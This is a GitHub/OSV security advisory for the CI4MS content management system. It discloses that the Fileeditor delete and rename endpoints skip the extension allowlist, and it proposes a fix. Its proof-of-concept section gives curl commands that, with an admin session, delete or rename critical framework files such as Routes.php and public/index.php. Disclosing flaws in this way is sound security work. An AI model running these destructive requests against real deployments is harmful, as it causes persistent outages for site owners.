{"id":"GHSA-245j-xjvr-xvm5","summary":"CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations","details":"## Summary\n\nThe Fileeditor module enforces an extension allowlist (`['css','js','html','txt','json','sql','md']`) on content-write operations (`saveFile`, `createFile`), but two destructive endpoints — `deleteFileOrFolder` and `renameFile` — never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small `$hiddenItems` blocklist. Critical framework files such as `app/Config/Routes.php`, `app/Config/App.php`, `app/Config/Database.php`, `app/Config/Filters.php`, `public/index.php`, and `public/.htaccess` all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.\n\n## Details\n\nRoot cause: inconsistent application of the extension allowlist across Fileeditor operations in `modules/Fileeditor/Controllers/Fileeditor.php`.\n\nThe class declares an allowlist used by content-write operations:\n\n```php\n// modules/Fileeditor/Controllers/Fileeditor.php:9\nprotected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];\n\n// line 239\nprivate function allowedFileTypes(string $file): bool\n{\n    $extension = pathinfo($file, PATHINFO_EXTENSION);\n    if (!in_array(strtolower($extension), $this-\u003eallowedExtensions)) {\n        return false;\n    }\n    return true;\n}\n```\n\n`saveFile` (line 110) and `createFile` (line 167) correctly call `allowedFileTypes()` against the target path before writing. The two destructive endpoints do not:\n\n```php\n// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237\npublic function deleteFileOrFolder()\n{\n    $valData = ([\n        'path' =\u003e ['label' =\u003e '', 'rules' =\u003e 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \\-\\.\\/]+$/]'],\n    ]);\n    if ($this-\u003evalidate($valData) == false) return $this-\u003efail($this-\u003evalidator-\u003egetErrors());\n    $path = $this-\u003erequest-\u003egetVar('path');\n    if ($this-\u003eisHiddenPath($path)) {\n        return $this-\u003efailForbidden();\n    }\n    $fullPath = realpath(ROOTPATH . $path);\n\n    if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) {\n        return $this-\u003eresponse-\u003esetJSON(['error' =\u003e lang('Fileeditor.invalidFileOrFolder')])-\u003esetStatusCode(400);\n    }\n\n    if (is_dir($fullPath)) {\n        $result = rmdir($fullPath);\n    } else {\n        $result = unlink($fullPath);   // executes on ANY extension\n    }\n    ...\n}\n```\n\n```php\n// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151\npublic function renameFile()\n{\n    ...\n    $path = $this-\u003erequest-\u003egetVar('path');\n    if ($this-\u003eisHiddenPath($path)) {\n        return $this-\u003efailForbidden();\n    }\n    $newName = $this-\u003erequest-\u003egetVar('newName');\n    $fullPath = realpath(ROOTPATH . $path);\n    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;\n\n    if (!$this-\u003eallowedFileTypes($newName))   // \u003c— only the destination is checked\n        return $this-\u003efailForbidden();\n    ...\n    if (rename($fullPath, $newPath)) { ... }   // source extension never validated\n}\n```\n\nThe validation gauntlet a path traverses before reaching `unlink()`/`rename()`:\n\n1. **Regex** `/^[a-zA-Z0-9_ \\-\\.\\/]+$/` — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches `app/Config/Routes.php` trivially).\n2. **`isHiddenPath()`** — only blocks paths whose individual segments equal an entry in `$hiddenItems`:\n\n```php\n// modules/Fileeditor/Controllers/Fileeditor.php:10-26\nprotected $hiddenItems = [\n    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',\n    'writable', '.env', 'env', 'composer.json', 'composer.lock',\n    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'\n];\n```\n\n   Critical CodeIgniter 4 framework files (`app`, `Config`, `Routes.php`, `App.php`, `Database.php`, `Filters.php`, `public`, `index.php`, `.htaccess`) are **not** members of this list, so they pass.\n\n3. **`realpath` + `strpos` containment** — confirms the resolved path is inside `ROOTPATH`. Routes.php, etc., are inside ROOTPATH and pass.\n\n4. **Sink** — `unlink()` or `rename()` runs unconditionally; no extension allowlist applied.\n\nThe recent security patch in commit `379ebb6` (\"Security: patch critical vulnerabilities and bump to v0.31.4.0\") added `isHiddenPath()` invocations to every endpoint, addressing the previous `.env` reachability. It did **not** address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).\n\nAuthorization is provided by the `backendGuard` filter (`modules/Fileeditor/Config/FileeditorConfig.php:12-17`) routing through `Modules\\Auth\\Filters\\Ci4MsAuthFilter`, which requires the role permission `fileeditor.delete` for `deleteFileOrFolder` and `fileeditor.update` for `renameFile`. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).\n\n## PoC\n\nPrerequisites: an authenticated session with `fileeditor.delete` (or `superadmin`) for step 1, and `fileeditor.update` for step 2. The application is mounted under `backend/`, not `admin/`.\n\n```bash\n# 1) Arbitrary file deletion (no extension check at all)\ncurl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \\\n  -H 'Cookie: ci_session=\u003cadmin\u003e' \\\n  --data-urlencode 'path=app/Config/Routes.php'\n# -\u003e {\"success\": true}\n# Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.\n\n# Equivalently catastrophic targets (none of these segments are in $hiddenItems):\n#   path=public/index.php           (front controller — entire app dead)\n#   path=app/Config/App.php         (core app config)\n#   path=app/Config/Database.php    (DB config)\n#   path=app/Config/Filters.php     (auth/CSRF filters)\n#   path=public/.htaccess           (rewrite + security rules)\n\n# 2) Rename .php to neutralize the file without checking the source extension\ncurl -X POST 'https://target/backend/fileeditor/renameFile' \\\n  -H 'Cookie: ci_session=\u003cadmin\u003e' \\\n  --data-urlencode 'path=app/Config/Routes.php' \\\n  --data-urlencode 'newName=Routes.txt'\n# -\u003e {\"success\": true}\n# Routes.php disappears, becomes Routes.txt. Routing dies on next request.\n```\n\nTrace verifying the validation logic for `path=app/Config/Routes.php`:\n\n- Regex `/^[a-zA-Z0-9_ \\-\\.\\/]+$/` — matches.\n- `isHiddenPath('app/Config/Routes.php')` — segments `['app','Config','Routes.php']`, none in `$hiddenItems` → returns `false`.\n- `realpath(ROOTPATH . 'app/Config/Routes.php')` — resolves inside ROOTPATH, containment check passes.\n- `unlink($fullPath)` (deleteFileOrFolder, line 229) or `rename($fullPath, $newPath)` (renameFile, line 146) executes — no extension allowlist applied.\n\n## Impact\n\nA backend user holding the Fileeditor `delete` or `update` permission can:\n\n- Delete or neutralize the front controller (`public/index.php`), routing config (`app/Config/Routes.php`), database config (`app/Config/Database.php`), filter pipeline (`app/Config/Filters.php`), web-server rules (`public/.htaccess`), or any other framework file inside the project root.\n- Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app \"restore\" — recovery requires filesystem access (redeploy, git checkout, or backup restore).\n- Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small `$hiddenItems` blocklist.\n\nThe destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the destructive blast radius beyond what the editor UI exposes and beyond what `fileeditor.delete` plausibly authorizes for non-superadmin role holders.\n\nThe path is gated by an admin-tier permission, so PR:H is honest; impact is limited to integrity/availability of files reachable by the web server user.\n\n## Recommended Fix\n\nApply the same `allowedFileTypes()` allowlist (or a stricter directory allowlist for editor-managed assets) to the source path in both destructive endpoints. After the existing `realpath` containment check:\n\n```php\n// In deleteFileOrFolder, after line 224:\nif (!is_dir($fullPath) && !$this-\u003eallowedFileTypes($fullPath)) {\n    return $this-\u003efailForbidden();\n}\n\n// In renameFile, alongside the existing $newName check at line 139:\nif (!$this-\u003eallowedFileTypes($fullPath) || !$this-\u003eallowedFileTypes($newName)) {\n    return $this-\u003efailForbidden();\n}\n```\n\nStronger hardening — and aligned with the editor's apparent intent — is to confine all Fileeditor operations to a directory allowlist (e.g. `public/templates/`, `public/uploads/`) rather than the entire `ROOTPATH`, and to extend `$hiddenItems` (or replace it with a denylist of full path prefixes) so that `app/Config`, `public/index.php`, `public/.htaccess`, and similar framework artefacts cannot be reached even by symlink or alternate casing.","aliases":["CVE-2026-45139"],"modified":"2026-05-18T16:41:25.769258Z","published":"2026-05-18T16:21:17Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-05-18T16:21:17Z","nvd_published_at":null,"cwe_ids":["CWE-73"]},"references":[{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-245j-xjvr-xvm5"},{"type":"PACKAGE","url":"https://github.com/ci4-cms-erp/ci4ms"},{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"}],"affected":[{"package":{"name":"ci4-cms-erp/ci4ms","ecosystem":"Packagist","purl":"pkg:composer/ci4-cms-erp/ci4ms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.31.9.0"}]}],"versions":["0.21.0","0.21.1","0.21.2","0.21.3","0.21.3.1","0.21.3.2","0.21.3.3","0.21.3.4","0.21.3.5","0.21.3.6","0.21.3.7","0.23.0.0","0.23.0.1","0.23.0.2","0.23.1.0","0.24.0.0","0.24.0.16","0.24.0.18","0.24.0.19","0.24.0.20","0.24.0.27","0.24.0.42","0.24.0.45","0.24.0.60","0.25.0.0","0.25.0.1","0.25.0.2","0.25.0.30","0.25.0.39","0.25.0.43","0.25.1.0","0.25.2.0","0.25.3.0","0.26.0.0","0.26.1.0","0.26.2.0","0.26.3.0","0.26.3.1","0.26.3.2","0.26.3.3","0.26.3.4","0.27.0.0","0.28.0.0","0.28.3.0","0.28.4.0","0.28.5.0","0.28.6.0","0.31.0.0","0.31.1.0","0.31.2.0","0.31.3.0","0.31.4.0","0.31.5.0","0.31.6.0","0.31.7.0","0.31.8.0","0.31.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-245j-xjvr-xvm5/GHSA-245j-xjvr-xvm5.json","last_known_affected_version_range":"\u003c= 0.31.8.0"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H"}]}